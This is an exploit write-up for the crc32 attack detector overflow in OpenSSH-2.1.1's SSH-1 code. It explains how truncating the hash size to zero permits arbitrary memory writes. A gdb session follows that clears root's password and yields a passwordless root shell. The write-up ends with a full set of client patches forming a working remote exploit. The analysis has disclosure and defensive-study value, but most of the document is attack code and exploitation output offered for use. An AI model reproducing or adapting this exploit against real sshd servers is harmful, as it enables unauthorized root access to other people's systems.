1. Abstract
-----------

This article discusses the recently discovered security hole in the
crc32 attack detector as found in common ssh packages like OpenSSH and
derivates using the ssh-1 protocoll. There is a possible overflow during
assignemnet from 32bit integer to 16bit wide one leading to unmasked
hash table offsets.


In this article I will try to show how:

a) exploit the crc32 hole to gain remote access to accounts without
providing any password, assuming remote sshd allows empty passwords

b) change login-uid if valid account on the remote machine exists.


I'm aware about the wide consequences arising form this disclosure and
possibly some people will hate me because I wrote this, but after you
have read this article, you will see that the exploitation is really
hard and tricky but on the other hand interessting. I think that the
impact of the crc32 hole is greater than the recent bind bug. I'm not
responsible for any damage resulting from this code, if you use this on
your own.

The exploit code is a set of patches to openssh-2.1.1, but of course one
may want to put the needed routines into one code file.

Note: this is neither a typical buffer overflow exploit (shell code) nor
a format string exploit :-)



2. Details
----------

Lets look at the vulnerable code in deattack.c. I will derive few
conclusions about exploitation of the deattack code here.

Original deattack.c code taken from OpenSSH-2.1.1, interessting
locations are marked with [n]:

int
detect_attack(unsigned char *buf, u_int32_t len, unsigned char *IV)
{
  static u_int16_t *h = (u_int16_t *) NULL;
  static u_int16_t n = HASH_MINSIZE / HASH_ENTRYSIZE;
  register u_int32_t i, j;
  u_int32_t l;
  register unsigned char *c;
  unsigned char *d;

  if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
      len % SSH_BLOCKSIZE != 0) {
    fatal("detect_attack: bad length %d", len);
  }

[1]
  for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l << 2)
    ;

  if (h == NULL) {
    debug("Installing crc compensation attack detector.");
[2]    n = l;
    h = (u_int16_t *) xmalloc(n * HASH_ENTRYSIZE);
  } else {
    if (l > n) {
      n = l;
      h = (u_int16_t *) xrealloc(h, n * HASH_ENTRYSIZE);
    }
  }

  if (len <= HASH_MINBLOCKS) {
    for (c = buf; c < buf + len; c += SSH_BLOCKSIZE) {
      if (IV && (!CMP(c, IV))) {
        if ((check_crc(c, buf, len, IV)))
          return (DEATTACK_DETECTED);
        else
          break;
      }
      for (d = buf; d < c; d += SSH_BLOCKSIZE) {
        if (!CMP(c, d)) {
          if ((check_crc(c, buf, len, IV)))
            return (DEATTACK_DETECTED);
          else
            break;
        }
      }
    }
    return (DEATTACK_OK);
  }
  memset(h, HASH_UNUSEDCHAR, n * HASH_ENTRYSIZE);

  if (IV)
    h[HASH(IV) & (n - 1)] = HASH_IV;

  for (c = buf, j = 0; c < (buf + len); c += SSH_BLOCKSIZE, j++) {
[3]    for (i = HASH(c) & (n - 1); h[i] != HASH_UNUSED;
         i = (i + 1) & (n - 1)) {
      if (h[i] == HASH_IV) {
        if (!CMP(c, IV)) {
          if (check_crc(c, buf, len, IV))
            return (DEATTACK_DETECTED);
          else
            break;
        }
[4]      } else if (!CMP(c, buf + h[i] * SSH_BLOCKSIZE)) {
        if (check_crc(c, buf, len, IV))
          return (DEATTACK_DETECTED);
        else
          break;
      }
    }
[5]    h[i] = j;
  }
  return (DEATTACK_OK);
}

[2] as wee see here, a 32bit int value is assigned to 16bit wide only
one. Bad things happen, if n is assigned a (truncated) value 0, because
the value of n-1, where nwould expand to 32bit before the calculation is
made is used as bit mask for following hash table operation [3]. Because
l is computed to be a power of 4 in [1], we do not need to know the
exact value for the len argument of detect_attack. We will end with n
beeing exactly 0 if len is big enough. The overflow happens at exactly
LEN = (16384 / HASH_FACTOR) * SSH_BLOCKSIZE which is 87381.

So now we know how to set n to 0. Simply send a ssh1 packet with size
exceeding LEN. But are we able to send such long packets? The answer is
yes, after looking at the code of packet handling code in packet.c we
see that the maximum accepted packet len is 256 kbytes.

But what we can do with this? The answer is simple: after the value of n
has been set to 0, we can access all sshd's memory by providing
out_of_range hash indexes which are taken as (network order) values from
the packet buffer itself (due to the HASH function beeing simple
GET_32BIT), whose have to be 'unsigned short' index values. The
detect_attack code will scan 8 bytes long blocks checking them for crc32
attack using only the first 4 bytes of each block as hash table index.
So we can set the other half of the buf blocks to arbitrary values
without consequences to what we are indexing.

So having n=0 we can change really any value in the memory! For example
to write to the variable X having the value V we need to supply the Vth
buf block with an offset to X in server's memory, offset because it
would be calculated relative to the value of 'h', which has been
allocated by a call to xm(re)alloc().  The value of h has indeed to be
guessed, though (or in other words we need to guess the offset to h).

But this would only write V to to X because 'j' which is the value we
write in [5] counts blocks in buf. As you see from [3] and [4] there is
a condition for writing to memory. The block number V has to be
identical with the block obtained by buf + h[i] * 8, which means that we
need 2 blocks: first a 'self termination' block with the number V and
another block with the number 'k' where k is the new value we want to
write to X. Note that with this technique we can only increase the value
of X ! 

There are 2 other conditions: the UNUSED_HASH and the HASH_IV condition,
though, I do not discuss them here.

Lets analyse the condition we need to enter detect_attack code at all.
From packet.c it can bee seen that we need the session key to be set, so
the first posibility to enter detect_attack is after the ssh_kex code in
auth1.c. This makes the exploitation a bit tricky, because we need to
send encrypted packets.

So one may ask, how to send an encrypted packet containing the needed
offsets if we must always encrypt our data before sending? We can deal
with it easilly maintaning a copy of the receive context as sshd sees
it. After the seesion key has been set (it is the same for sending and
receiving) we need to _decrypt_ all packets we send to sshd. With this
trick we are able to produce the plaintext needed for construction of
desired encrypted packet :-)

Let us look at the format of ssh-1 packets. They are always 8*n (packets
containing other data amount are padded) bytes long and contains an
(encrypted!) checksum at the end of packet:

(LEN)[001][002][003][004]...[XXX]

where [...] stands for a 8-byte long block and (LEN) is a 32 bit value
carrying the length information (network order!). The last [XXX] block
would be like

[PPPPCCCC]

with P standing for padding or data and C for the crc32 checksum. The
checksum is calculated over all packet bytes _excluding_ the checksum
location but including the last 32 bits of the packet (padding or data)
and then stored at the end of packet and after that the resulting packet
is encrypted with the current cipher context (usually send_context in
packet.c).

There are 2 another difficulties too, one can point out. The first is
that after we have sent a big packet setting 'n' in detect_attack to 0,
n will be still 0 in succeding calls and this will result in an endles
loop in [1]. Therefore our packet _must_ overwrite the static variable n
in detect_attack subroutine! 
Because we have xrealloc'ed the buffer h with the new size =
n*HASH_ENTRYSIZE which would expand to 0, the buffer h cannot be assumed
to point to any valid memory... So the only way to deal with this is to
send only _small_ packets matching the condition len < HASH_MINBLOCKS
(=56). For example we have to disable tty allocation (-T option) in the
following exploit code. Never enter more than about 36 bytes on the
prompt :-)

The second real hard problem is the value of PPPP. detect_attack will
scan the buf for crc32 compensation attack _including_ the last block
with crc and pad. But we cannot really controll the encrypted value of P
because the ciphers work always on 8 byte long blocks mixing the 2 32bit
values with each other (I didn't found any simple way to deal with this,
cryptography experts, where are you?!). So the question is: how the PPPP
bytes have to be in order to obtain defined encrypted value at the P's
position _after_ we calculated the cheksum? I doubt that this problem is
solvable at all. However, I use at this point the UNUSED_HASH
termination condition. After n has been set again by our big packet to a
value != 0 we need to match the condition h[PPPP & n-1] == 0xffff. See
below to understand how I'm doing this ;-)


So now we know all about the detect_attack code and the packet format,
lets think about really exploiting this. After I have looked at the
authorisation code auth1.c I found 3 ways of possible exploitation in
the do_authloop function:

a) there is a local variable 'int authenticated = 0' which set to value
!= 0 would authorise the session and start a remote shell immediatelly.

b) overwriting the pw->pw_passwd value which should be 'x'\000 on
systems with shadow passwords with something like \000'x' would produce
a remote shell too if sshd has 'emptypasswords' enabled.

c) overwriting pw->pw_uid with some value would change the uid the
remote shell is running after successfull athentication.

You will very fast figure out, why (a) is not easy exploitable (if at
all...).


It is time to describe an exploitation way for (b), which I decided to
choose for this article. Exploiting (c) would be similiar but not really
interesting, I think, because we can only increment the uid value.


Lets summarize, how our (very very...) magic and big packet has to look
like:

- we put as first cipher block an offset pointing to the location of n
in detect_attack(), so first write h[i]=j will set n=0

- we make the 0x78th block to point to the location of pw->pw_passwd
(which point to somewhat like 0x78 0x00 ... at this time), this is our
termination block for pw->pw_passwd. h[i]=j wouldn't change the value
pw->pw_passwd is pointing to

- we make the 0x100th block to point to pw->pw_passwd again, so that
h[i]=j would change the value *(pw->pw_passwd) to be now 0x00 0x01
(which is an empty string, say no password :-)

- the 512th cipher block has to change n in detect_attack() to be 512 so
no deadlock occurs in succeding calls to detect_attack().

- other cipher block offsets have to be 0x00000000.

- and finally we choose the last free (padding) value PPPP of the packet
to match following condition: network_order(PPPP) & 511 == 0 (brute
force that, PPPP would be found very fast...) so that we still have an
_effective_ offset 0x00000000. After I played a bit with this, I found
that it is not really necessary to bother about PPPP...


There are few other modifications to the ssh code, though. I mention
only that before we send our magic big packet there will be a
'0xffff-setting' packet, only to set up the h buffer with 0xffff values
;-)

Another modification I made is sending empty password after we have sent
the long packet in sshconnect1.c. You will find other minor changes on
yourself...



3. Exploit
----------

Attached are diff files for the openssh-2.1.1 package. The patch uses 2
environment variables called 'OFF' and 'NOFF', where OFF has to be the
offset to the variable we want to overwrite (pw->pw_passwd), NOFF the
offset to stattic variable 'n' in the detect_attack code.

To finish this discussion lets look at some successfull exploitation of
sshd. I have run sshd in gdb in debugging mode to simplify this show,
but you can try the code with your own 'real' sshd of course, using
apriopriate offsets...

on the client side:
./ssh -v -p 7777 localhost 2>&1 -c blowfish -T -l root

where -T prevents from sending ALLOC_PTY packet, which would exceed the
56 bytes limit, on the server side:

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /usr/home/paul/tmp2/openssh-2.1.1p4/./sshd -p 7777 -d
-f ./sshd_config -b 512 2>&1
debug: sshd version OpenSSH_2.1.1
debug: Seeding random number generator
debug: read DSA private key done
debug: Seeding random number generator
debug: Bind to port 7777 on 0.0.0.0.
Server listening on 0.0.0.0 port 7777.
Generating 512 bit RSA key.
debug: Seeding random number generator
debug: Seeding random number generator
RSA key generation complete.
debug: Server will not fork when running in debugging mode.
Connection from 127.0.0.1 port 3743
debug: Client protocol version 1.5; client software version
OpenSSH_2.1.1
debug: Local version string SSH-1.99-OpenSSH_2.1.1
debug: Sent 512 bit public key and 1024 bit host key.
debug: Encryption type: blowfish
debug: stored copy of send context
debug: Received session key; encryption turned on.

Breakpoint 1, detect_attack (
    buf=0x80f9d14
"VÉzZí\236\005\035b¬I\205:I@N4c;\r\227³W\204ËÔ\022ƵlT\aO\025¡®Ë6\227+w\177úN\032@\017°$·Kë\230óCbÄ\225,_~(\bîЩl6136            
if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) c
Continuing.
debug: Installing crc compensation attack detector.
debug: Attempting authentication for root.

(here I have added some debugging code to detect_attack in order to
easilly gain offsets :-)

debug: PASSWORD ADR = 0xbffff08c :  80f8890  80f9c88        0
debug: passwd = [x]
debug: name = [root]

Breakpoint 1, detect_attack (
    buf=0x80f9d14
"q9\216\203Èac]uuE\235A\013nQ\022·\003oj8Üo+[\eë\207Xÿ®r[ó7\233\030«ß%ÏÍ·ÙRò\207l1\230y¿(­\211¡\004\207\037
\027&
    len=528, IV=0x0) at deattack.c:136
136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

(gdb) x 0x80f9c88
0x80f9c88:      0x400c0078

As we see here, 0x400c0078 is the stored 'x'\000 value from /etc/passwd,
which indicates that root has a shadow password.

(gdb) p len
$15 = 528

the packet received is the '0xffff' packet which would prepare the
memory region h with UNUSED_HASH values, ok lets continue:

(gdb) c
Continuing.
Unknown message during authentication: type 248
debug: Unknown message during authentication: type 248
Failed bad-auth-msg-248 for ROOT from 127.0.0.1 port 3743

ok, sshd ignored the 0xffff packet, the client side is guessing now the
value of PPPP. Lets see what happens as next:

Breakpoint 1, detect_attack (buf=0x8100144 "\177þa0ÿÿÿÿ", len=88072,
IV=0x0) at deattack.c:136
136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) p len
$16 = 88072
(gdb) p n
$17 = 4096

Got big packet! Lets step into the detect_atack code:

(gdb) n
140             for (l = n; l < HASH_FACTOR(len / SSH_BLOCKSIZE); l = l
<< 2)
.
.
.
(gdb) p n
$18 = 0

So now we have set n=0 and n-1 = 0xffffffff and can overwrite memory ;-)
After few loops we check again the location of pw->pw_passwd:

(gdb) x 0x80f9c88 
0x80f9c88:      0x400c0100

Oooops, root seems to have no password now! Lets run the loop a bit
longer:

(gdb) p n
$25 = 512
(gdb) p j
$26 = 785

We see that at this point we have set n back to be 0x200 and can enter
detect_attack again. Lets check now the termination value for the last
iteration in [3], which has to be UNUSED_HASH (note the network order
offsets):

(gdb) x/16 buf + len - 8 
0x8115944:      0xf5966c0d      0xb7ef464b      0x09000000     
0xeed64f1a
0x8115954:      0x2c1b8d66      0x891bb13a      0x527c53d0     
0x00000000

(gdb) x/16 &h[0x0d6c96f5 & 511]
0x80fdf1a:      0xffffffff      0xffffffff      0xffffffff     
0xffffffff
0x80fdf2a:      0xffffffff      0xffffffff      0xffffffff     
0xffffffff

Ok, it looks fine, lets continue the loop till the end and hope that
sshd wouldn't die after overwriting 0x80fdf1a with the value of j upon
the end of the [3] loop. It will take about 120 seconds on a P-100
machine to complete the loop (yes, I wrote this on an old P-100/64mb
:-).

(gdb) c
Continuing.
Unknown message during authentication: type 237
debug: Unknown message during authentication: type 237
Failed bad-auth-msg-237 for ROOT from 127.0.0.1 port 3747

Breakpoint 1, detect_attack (buf=0x8115950
"\032OÖîf\215\e,:±\e\211ÐS|R", len=16, IV=0x0) at deattack.c:136
136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

Oooops^2, now we have fooled sshd to believe that root doesn't have a
password set, set n to be != 0 and we are still alive. SUCCESS! So it is
not difficult to imagine what happens now:

(gdb) c
Continuing.
Accepted password for ROOT from 127.0.0.1 port 3747
debug: session_new: init
debug: session_new: session 0

Breakpoint 1, detect_attack (buf=0x8100144
"\030© Ñ'\233Ç*oå\021w(Ç\035v", len=16, IV=0x0) at deattack.c:136
136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||

We didn't supply any password at all :-))) After continuation we get an
interactive session for root:

(gdb) c
Continuing.
Unknown packet type received after authentication: 9

Breakpoint 1, detect_attack (buf=0x8100158 "¾áBAS£øyÿÿÿÿ", len=8,
IV=0x0) at deattack.c:136
136             if (len > (SSH_MAXBLOCKS * SSH_BLOCKSIZE) ||
(gdb) c
Continuing.
debug: Entering interactive session.
debug: fd 9 setting O_NONBLOCK
debug: fd 11 setting O_NONBLOCK
debug: server_init_dispatch_13
debug: server_init_dispatch_15

On the client side we see this (no pty):

Permission denied, please try again.
debug: Requesting shell.
debug: Entering interactive session.
Environment:
  USER=root
  LOGNAME=root
  HOME=/root
  PATH=/usr/bin:/bin:/usr/sbin:/sbin
  MAIL=/var/spool/mail/root
  SHELL=/bin/bash
  SSH_CLIENT=127.0.0.1 3747 7777
id
uid=0(root) gid=0(root)
groups=0(root),1(bin),12(mail),14(uucp),15(shadow),16(dialout),42(trusted),100(users),101(untrusted),65534(nogroup)

That's all !'"§$!...

Now you will probably understand, why the crc32 hole is very difficult
to exploit. Also any brute force approach one may try would consume the
network bandwith...
Nevertheless, upgrade your sshd as soon as possible :-)



ihq.



--------------------------------------------------------------------------------
ATTACHED: sshd_exploit.diff !!! DEMONSTRATION CODE, NO TROJAN, NO JOKE
!!!


--- crc32.c  Thu Jun 22 13:32:32 2000
+++ patched_crc32.c  Tue Feb 20 03:02:04 2001
@@ -119,3 +119,14 @@
   }
   return crc32val;
 }
+
+unsigned int
+crc32_recursive(const unsigned char *s, unsigned int crc32val)
+{
+  unsigned int i;
+  for (i = 0;  i < 4;  i ++) {
+     crc32val = crc32_tab[(crc32val ^ s[i]) & 0xff] ^ (crc32val >> 8);
+  }
+
+  return crc32val;
+}
--- dispatch.c  Thu Jun 22 13:32:32 2000
+++ patched_dispatch.c  Tue Feb 20 03:02:18 2001
@@ -71,7 +71,8 @@
     if (type > 0 && type < DISPATCH_MAX && dispatch[type] != NULL)
       (*dispatch[type])(type, plen);
     else
-      packet_disconnect("protocol error: rcvd type %d", type);  
+//      packet_disconnect("protocol error: rcvd type %d", type);
+      debug("WOULD TERMINATE: type : %d", type);
     if (done != NULL && *done)
       return;
   }
--- packet.c  Tue Jul 11 01:29:50 2000
+++ patched_packet.c  Tue Feb 20 03:04:16 2001
@@ -72,6 +72,12 @@
 /* Encryption context for sending data.  This is only used for
encryption. */
 static CipherContext send_context;
 
+//    we have to decrypt all data before sending with backup in order to
be able
+//    to predict the values on sshd's side
+static CipherContext backup_context;
+static char tmpbuf[1024];
+
+
 /* Buffer for raw input data from the socket. */
 static Buffer input;
 
@@ -146,6 +152,7 @@
   cipher_type = SSH_CIPHER_NONE;
   cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "",
0);
   cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *)
"", 0);
+  cipher_set_key(&backup_context, SSH_CIPHER_NONE, (unsigned char *) "",
0);
   if (!initialized) {
     initialized = 1;
     buffer_init(&input);
@@ -298,8 +305,69 @@
     unsigned int bytes)
 {
   cipher_encrypt(cc, dest, src, bytes);
+
+//  on ssh side we maintain a copy of remote's cipher context in order
to be able
+//  to decrypt our messages 
+//  we simply decrypt all we crypt to stay informed about what remote
sides is doing with our data :-)
+  cipher_decrypt(&backup_context, tmpbuf, dest, bytes);
+
 }
 
+//    decrypts the stream as it would happen on the other side
+void
+backup_decrypt(void *dest, void *src, unsigned int bytes)
+{
+CipherContext cc;
+
+//  do not modify backup context
+  cc=backup_context;
+  cipher_decrypt(&cc, dest, src, bytes);
+}
+
+void
+send_encrypt(void *dest, void *src, unsigned int bytes)
+{
+static CipherContext cc2;
+static int c=0;
+CipherContext cc;
+
+  if(c==0) {
+    cc2=send_context;
+    c++;
+    debug("frezing a copy of send_context !");
+  }
+
+  cc=cc2;
+  cipher_encrypt(&cc, dest, src, bytes);
+}
+
+void
+send_encrypt_modify(void *dest, void *src, unsigned int bytes)
+{
+  cipher_encrypt(&send_context, dest, src, bytes);
+}
+
+void
+send_encrypt_save(void *dest, void *src, unsigned int bytes, int save)
+{
+static CipherContext cc2;
+static int c=0;
+CipherContext cc;
+
+  if(c==0) {
+    cc2=send_context;
+    c++;
+    debug("frezing a copy of send_context !");
+  }
+
+  cc=cc2;
+  cipher_encrypt(&cc, dest, src, bytes);
+
+  if(save)
+    cc2=cc;
+}
+
+
 /*
  * Decrypts the given number of bytes, copying from src to dest. bytes
is
  * known to be a multiple of 8.
@@ -346,6 +414,9 @@
   /* All other ciphers use the same key in both directions for now. */
   cipher_set_key(&receive_context, cipher, key, keylen);
   cipher_set_key(&send_context, cipher, key, keylen);
+  debug("stored copy of send context");
+  backup_context=send_context;
+  cipher_set_key(&backup_context, cipher, key, keylen);
 }
 
 /* Starts constructing a packet to send. */
--- sshconnect1.c  Tue May  9 03:03:04 2000
+++ patched_sshconnect1.c  Tue Feb 20 03:01:44 2001
@@ -651,6 +651,126 @@
   return 0;
 }
 
+extern void send_encrypt(void *dest, void *src, unsigned int bytes);
+extern void send_decrypt(void *dest, void *src, unsigned int bytes);
+extern unsigned crc32_recursive(const unsigned char *s, unsigned int
crc32val);
+extern void backup_decrypt(void *dest, void *src, unsigned int bytes);
+extern void send_encrypt_modify(void *dest, void *src, unsigned int
bytes);
+extern void send_encrypt_save(void *dest, void *src, unsigned int
bytes, int save);
+unsigned int crc32(const unsigned char *s, unsigned int len);
+
+
+//  this will construct valid ssh packet, containing ignored message
+//  with cipher(packet) = magic offset to write to configured offset
+//  and the packet will have valid (encrypted) crc :-)
+void bigpacket()
+{
+unsigned DATALEN=1024*86;
+unsigned paddedlen=(DATALEN + 8) & ~7;
+
+unsigned char* buf;
+unsigned char* buf2, *buf3;
+
+int connection_out;
+
+unsigned* ptr, *ptr2, i, checksum, w;
+unsigned* chkp;
+
+unsigned off;
+unsigned noff;
+unsigned npos=512;
+    
+    
+    debug("*** writing big packet ***");
+    
+    srand(time(NULL));
+
+    buf3=getenv("OFF");
+    if(!buf3) {
+      debug("please set OFF");
+      exit(1);
+    }
+
+    sscanf(buf3, "%x", &off);
+    debug("\nOFF : %x", off);
+
+    buf3=getenv("NOFF");
+    if(!buf3) {
+      debug("please set NOFF");
+      exit(1);
+    }
+
+    sscanf(buf3, "%x", &noff);
+    debug("\nNOFF : %x", noff);
+
+//    alloc mem
+    buf=(unsigned char*)malloc(DATALEN+1024);
+    buf2=(unsigned char*)malloc(DATALEN+1024);
+    buf3=(unsigned char*)malloc(DATALEN+1024);
+
+    memset(buf3, 0x00, DATALEN+512);
+    memset(buf2, 0x00, DATALEN+512);
+    memset(buf, 0x00, DATALEN+512);
+
+    ptr=(unsigned*)(buf);
+    ptr2=(unsigned*)(buf2);
+
+//  socket fd
+    connection_out=packet_get_connection_out();
+
+//  construct plain text to get buf[k] = offset after encryption
+    for(i=0;i<paddedlen/4;i+=2) {
+      ptr2[i]=htonl(0x0);
+      ptr2[i+1]=0xffffffff;
+    }
+
+//  for writing to n
+    ptr2[0]=htonl(noff);
+    ptr2[npos*2]=htonl(noff);
+
+//  for writing to pw->pw_passwd
+    ptr2[256*2]=htonl(off);
+    ptr2[0x78*2]=htonl(off);
+
+//    write checksum
+    chkp=(unsigned*)(buf+paddedlen);
+
+    backup_decrypt(buf+4, buf2, paddedlen-8);
+
+//  message type
+    ptr[0]=htonl(DATALEN);
+
+//  compute checksum
+    checksum=crc32((unsigned char *) buf+4, paddedlen-4);
+    *chkp=htonl(checksum);
+
+//  buf contains decrypted plaintext!
+    send_encrypt_save(buf2, buf+4, paddedlen-8, 1);
+    checksum=crc32((unsigned char *) buf+4, paddedlen-8);
+    *(chkp-1)=((unsigned)rand());
+    w=crc32_recursive((unsigned char *) buf+4 + (paddedlen-8), checksum);
+    *chkp=htonl(w);
+
+//  encrypt freeval + new crc32 and copy this into buf2
+    send_encrypt_save(buf2 + (paddedlen-8), buf+4 + (paddedlen-8), 8, 0);
+
+//  now buf is ready to send (encrypted) !!!
+//  modify our send_context to maintain synchronisation with the server
:-)
+    send_encrypt_modify(buf3, buf+4, paddedlen);
+    memcpy(buf+4, buf2, paddedlen);
+
+//  write packet now:
+    if (atomicio(write, connection_out, buf, paddedlen+4)!=paddedlen+4)
+      fatal("write: %.100s", strerror(errno));
+
+    free(buf);
+    free(buf2);
+    free(buf3);
+
+    debug("*** wrote bigpacket ***");
+}
+
+
 /*
  * Tries to authenticate with plain passwd authentication.
  */
@@ -663,14 +783,32 @@
   debug("Doing password authentication.");
   if (options.cipher == SSH_CIPHER_NONE)
     log("WARNING: Encryption is disabled! Password will be transmitted in
clear text.");
+
+//  prepare 0xffff field !
+  debug("sending 0xffff packet");
+  packet_start(0xf8);
+  password=malloc(512);
+  memset(password, 0x00, 512);
+  packet_put_string(password, 512);
+  packet_send();
+  packet_write_wait();
+  free(password);
+
+  type = packet_read(&payload_len);
+  if (type == SSH_SMSG_SUCCESS)
+    debug("sshd accepted 0xffff msg");
+  if (type != SSH_SMSG_FAILURE)
+    debug("sshd bounced 0xffff msg !!!");
+  
+// clear remote pass :-)
+  bigpacket();
+
   for (i = 0; i < options.number_of_password_prompts; i++) {
     if (i != 0)
       error("Permission denied, please try again.");
-    password = read_passphrase(prompt, 0);
+    password = "";
     packet_start(SSH_CMSG_AUTH_PASSWORD);
     packet_put_string(password, strlen(password));
-    memset(password, 0, strlen(password));
-    xfree(password);
     packet_send();
     packet_write_wait();
 

Yes, I'm continously looking for a very good job...